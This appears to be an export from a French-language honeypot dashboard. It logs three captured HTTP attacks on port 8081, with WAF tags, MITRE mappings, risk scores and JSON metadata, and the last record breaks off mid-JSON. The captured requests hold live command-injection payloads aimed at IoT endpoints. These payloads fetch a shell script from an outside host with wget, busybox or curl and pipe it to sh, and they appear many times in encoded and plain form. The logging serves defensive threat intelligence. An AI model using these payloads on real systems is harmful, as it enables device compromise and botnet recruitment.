11/07/2026 23:49:14 UTC
TCP
8081 · HTTP
Sonde fichier configuration
config file probe · via HTTP:8081 · (tentative d'exploit) · → /wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wg…
Élevée
Moyen · 64
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20d…
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950309:lfi-12
950325:rce-0
950333:rce-2
950345:rce-5
Cible HTTP
GET
/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20dlcli%60
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20dlcli%…
Pourquoi cette classification : Sonde fichier sensible: chemin sensible (tag interne) · Règle WAF « lfi-12 » · Sonde fichier sensible / config · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 64
Confiance : Confiance 100 % — 7 tag(s) WAF
Protocole émulé
1 Signaux
Http Sensitive
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
LFI Double-dot bypass
Ligne de requête
GET /login.cgi?cli=%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20dlcli%60 HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
redir-1
Payload (extrait)
GET /login.cgi?cli=%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http://91.92.40.
Requête brute (extrait)
GET /login.cgi?cli=%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20dlcli%60 HTTP/1.1 Host: 62.3.50.33:8081 C
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 1,
"http_path_depth": 1,
"http_path_ext": "cgi",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "36a2335d4f2b979a1e3edec5c7dfb201adb24fc1",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 276,
"payload_entropy": 5.058056085101254,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 74,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 30,
"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30
},
"risk_score": 64,
"tag_count": 13,
"anomaly_count": 1,
"campaign_key": "a227991147f9c397c2546ae301c6733dfe8f5d11",
"event_fingerprint": "4e5a90a10b03a0f2a401e64cfb9602ce7adaf85d",
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 127,
"precision_signals": [
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0103"
],
"matched_pattern_names": [
"LFI Double-dot bypass"
],
"pattern_ids": [
"pat-0103"
],
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 64
},
"named_classification_skipped": false,
"classification_parent": "backup_file_scan",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "fda664f69d767298695d039f21fd0165",
"path_pattern_hash": "f6e9baaa731f11923b2ba9541a8713d5"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 64
},
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dlcli%60",
"query_string": "cli=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dlcli%60",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/login.cgi?cli=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dlcli%60 HTTP\/1.1",
"payload_snippet": "GET \/login.cgi?cli=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http:\/\/91.92.40.",
"evidence": {
"method": "GET",
"path": "\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dlcli%60",
"query_string": "cli=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dlcli%60",
"waf_tags": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1"
],
"waf_rule_names": [
"lfi-12",
"rce-0",
"rce-2",
"rce-5",
"ssrf-3",
"nosqli-3",
"redir-1"
],
"request_line": "GET \/login.cgi?cli=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dlcli%60 HTTP\/1.1",
"request_sample": "GET \/login.cgi?cli=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dlcli%60 HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nC",
"payload_snippet": "GET \/login.cgi?cli=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http:\/\/91.92.40.",
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal",
"config_leak_scan"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "5b071a60aab34811072b66c7d8aadbe2b2549b45",
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dlcli%\u2026",
"request_line": "GET \/login.cgi?cli=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bcurl%20http:\/\/91.92.40.118\/wget.s\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/login.cgi?cli=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http:\/\/91.92.40.",
"attack_vector": "config file probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wg\u2026",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 7 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: chemin sensible (tag interne) \u00b7 R\u00e8gle WAF \u00ab lfi-12 \u00bb \u00b7 Sonde fichier sensible \/ config \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 64\/100 (Moyen) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 74,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 30,
"risk_score": 64
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 64,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"INT-http_sensitive",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"Http Sensitive",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bcurl%20http:\/\/91.92.40.118\/wget.sh%7Csh%20-s%20dlcli%\u2026",
"request_line": "GET \/login.cgi?cli=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bcurl%20http:\/\/91.92.40.118\/wget.s\u2026",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "config file probe \u00b7 via HTTP:8081 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wg\u2026",
"evidence_snippet": "GET \/login.cgi?cli=%60cd%20\/tmp%3Bwget%20http:\/\/91.92.40.118\/wget.sh%20-O-%7Csh%20-s%20dlcli%3Bbusybox%20wget%20http:\/\/91.92.40.",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 7 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 7 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950309:lfi-12",
"950325:rce-0",
"950333:rce-2",
"950345:rce-5",
"950405:ssrf-3",
"950469:nosqli-3",
"950487:redir-1",
"anomaly:high-entropy-query",
"http_no_ua",
"http_probe_login",
"http_sensitive_path",
"iot_http_endpoint",
"net_web_probe"
]
}
11/07/2026 23:49:14 UTC
TCP
8081 · HTTP
Énumération API REST
rest api enum · via HTTP:8081 · (sonde / probe) · → /api/v1/status
Élevée
Moyen · 61
Détails
Voir
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0007
TA0007
TA0001
Protocole
GET /api/v1/status
Émulateur
HTTP
WAF
25
Recommandation
Investiguer
Tags
950316:lfi-14
950325:rce-0
950468:nosqli-3
950600:k8s-api
Cible HTTP
GET
/api/v1/status
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/api/v1/status
Pourquoi cette classification : Énumération API REST (tag lfi-14) · confiance 100%
Confiance classification
100%
Risque capteur
Moyen
· 61
Confiance : Confiance 100 % — 4 tag(s) WAF
Protocole émulé
1 Signaux
MITRE-T1190-api
Upstream
Waf Score
Api Probe Generic
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 932100 cmd exec
CRS 932120 pipe chain
CRS 932190
CRS 932200
CRS 932205
CRS 932206
CRS 932321
LFI Double-dot bypass
Ligne de requête
GET /api/v1/status?command=`cd HTTP/1.1
User-Agent
—
Règles WAF
lfi-14
rce-0
nosqli-3
k8s-api
Payload (extrait)
GET /api/v1/status?command=`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s xiaomi;busybox wget http://91.92.40.118/wget.sh -
Requête brute (extrait)
GET /api/v1/status?command=`cd /tmp;wget http://91.92.40.118/wget.sh -O-|sh -s xiaomi;busybox wget http://91.92.40.118/wget.sh -O-|sh -s xiaomi;curl http://91.92.40.118/wget.sh|sh -s xiaomi` HTTP/1.1 Host: 62.3.50.33:8081 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 1,
"http_path_depth": 3,
"http_path_ext": null,
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "fe1b4ca446e3c09e254e693f349fd4143361514a",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 245,
"payload_entropy": 5.141591370568365,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.4,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25
},
"risk_score": 61,
"tag_count": 9,
"anomaly_count": 0,
"campaign_key": "0dfd21028dbd3a9ba3b11693207e7dfc147d45a3",
"event_fingerprint": "3a7c3d36867c92fc3b650717be5de9b31104267e",
"classification_reason": "\u00c9num\u00e9ration API REST (tag lfi-14) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 137,
"precision_signals": [
"MITRE-T1190-api",
"INT-upstream",
"INT-waf-score",
"INT-api-probe-generic"
],
"kb_rule_ids": [
"MITRE-T1190-api",
"INT-upstream",
"INT-waf-score",
"INT-api-probe-generic"
],
"matched_patterns": [
"pat-0773",
"pat-0775",
"pat-0144",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0155",
"pat-0103",
"pat-0212"
],
"matched_pattern_names": [
"CRS 932100 cmd exec",
"CRS 932120 pipe chain",
"CRS 932190",
"CRS 932200",
"CRS 932205",
"CRS 932206",
"CRS 932321",
"LFI Double-dot bypass",
"Probe \/api\/v1\/"
],
"pattern_ids": [
"pat-0773",
"pat-0775",
"pat-0144",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0155",
"pat-0103",
"pat-0212"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "NL",
"asn": 197170,
"org": "TechTies Inc.",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "f2606c5ef7572703c818733654d801ab",
"path_pattern_hash": "212e3326ed94d54abc342a251f15ffe2"
},
"target_context": {
"dst_port": 8081,
"service": "http",
"service_name": "http",
"risk_score": 61
},
"payload_preview": "GET \/api\/v1\/status?command=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s xiaomi;busybox wget http:\/\/91.92.40.118\/wget.sh -",
"method": "GET",
"path": "\/api\/v1\/status",
"query_string": "command=`cd",
"waf_tags": [
"950316:lfi-14",
"950325:rce-0",
"950468:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3",
"k8s-api"
],
"request_line": "GET \/api\/v1\/status?command=`cd HTTP\/1.1",
"request_sample": "GET \/api\/v1\/status?command=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s xiaomi;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s xiaomi;curl http:\/\/91.92.40.118\/wget.sh|sh -s xiaomi` HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/api\/v1\/status?command=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s xiaomi;busybox wget http:\/\/91.92.40.118\/wget.sh -",
"evidence": {
"method": "GET",
"path": "\/api\/v1\/status",
"query_string": "command=`cd",
"waf_tags": [
"950316:lfi-14",
"950325:rce-0",
"950468:nosqli-3",
"950600:k8s-api"
],
"waf_rule_names": [
"lfi-14",
"rce-0",
"nosqli-3",
"k8s-api"
],
"request_line": "GET \/api\/v1\/status?command=`cd HTTP\/1.1",
"request_sample": "GET \/api\/v1\/status?command=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s xiaomi;busybox wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s xiaomi;curl http:\/\/91.92.40.118\/wget.sh|sh -s xiaomi` HTTP\/1.1\r\nHost: 62.3.50.33:8081\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/api\/v1\/status?command=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s xiaomi;busybox wget http:\/\/91.92.40.118\/wget.sh -",
"classification_reason": "\u00c9num\u00e9ration API REST (tag lfi-14) \u00b7 confiance 100%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "963a558a4ae02cf1db80b4e23f2d62c255601156",
"protocol_details": {
"http_method": "GET",
"http_path": "\/api\/v1\/status",
"request_line": "GET \/api\/v1\/status?command=`cd HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/api\/v1\/status?command=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s xiaomi;busybox wget http:\/\/91.92.40.118\/wget.sh -",
"attack_vector": "rest api enum \u00b7 via HTTP:8081 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/api\/v1\/status",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "\u00c9num\u00e9ration API REST (tag lfi-14) \u00b7 confiance 100%",
"classification_reason_label_fr": "\u00c9num\u00e9ration API REST (tag lfi-14) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 61\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 0,
"protocol": 43,
"novelty": 25,
"risk_score": 61
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 61,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8081,
"protocol_emulated": true,
"tags_summary": [
"MITRE-T1190-api",
"INT-upstream",
"INT-waf-score",
"INT-api-probe-generic"
],
"tags_summary_labels_fr": [
"MITRE-T1190-api",
"Upstream",
"Waf Score",
"Api Probe Generic"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/api\/v1\/status",
"request_line": "GET \/api\/v1\/status?command=`cd HTTP\/1.1",
"port": 8081,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "rest api enum \u00b7 via HTTP:8081 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/api\/v1\/status",
"evidence_snippet": "GET \/api\/v1\/status?command=`cd \/tmp;wget http:\/\/91.92.40.118\/wget.sh -O-|sh -s xiaomi;busybox wget http:\/\/91.92.40.118\/wget.sh -",
"target_port_label": "8081 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8081"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "discovery",
"ban_policy": "advisory_investigate",
"tags_list": [
"950316:lfi-14",
"950325:rce-0",
"950468:nosqli-3",
"950600:k8s-api",
"http_api_route_probe",
"http_k8s_probe",
"http_no_ua",
"http_probe_api",
"net_web_probe"
]
}
11/07/2026 23:49:14 UTC
TCP
8081 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8081 · (tentative d'exploit) · → /wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20…
Élevée
Moyen · 60
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
TA0001
TA0001
TA0002
Protocole
GET /wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%2…
Émulateur
HTTP
WAF
48
Recommandation
Investiguer
Tags
950309:lfi-12
950325:rce-0
950333:rce-2
950345:rce-5
Cible HTTP
GET
/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20billion%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20billion%60
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8081
Chemin / cible
/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20billion%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20bi…
Pourquoi cette classification : Type « lfi_path_traversal » (signaux protocolaires) · confiance 59%
Confiance classification
59%
Risque capteur
Moyen
· 60
Confiance : Confiance 59 % — 7 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100-sub
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
LFI Double-dot bypass
Ligne de requête
GET /adv_remotelog.asp?syslogServerAddr=%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20billion%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20billion%60 HTTP/1.1
User-Agent
—
Règles WAF
lfi-12
rce-0
rce-2
rce-5
ssrf-3
nosqli-3
redir-1
Payload (extrait)
GET /adv_remotelog.asp?syslogServerAddr=%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20
Requête brute (extrait)
GET /adv_remotelog.asp?syslogServerAddr=%60cd%20/tmp%3Bwget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20billion%3Bbusybox%20wget%20http://91.92.40.118/wget.sh%20-O-%7Csh%20-s%20billion%3Bcurl%20http://91.92.40.118/wget.sh%7Csh%20-s%20billion%60 HTTP/1.
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"http_header_count": 2,
"http_query_params": 1,
"http_path_depth": 1,
"http_path_ext": "asp",
"http_ua_hash": null,
"http_host_hash": "1994c0ff95f3f16c5fa9177d852edc4f1a4a8a24",
"http_target_hash": "271ef3ec0b94f7acc81ee352ace27ebb9a8891a7",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": false,
"bytes_in": 303,
"payload_entropy": 5.195091220768097,
"port_category": "registered",
"org": "TechTies Inc.",
"service": "http",
"app_proto": "http",
"asn": 197170,
"country": "NL",
"dst_port": 8081,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 43,
"risk_novelty": 30,
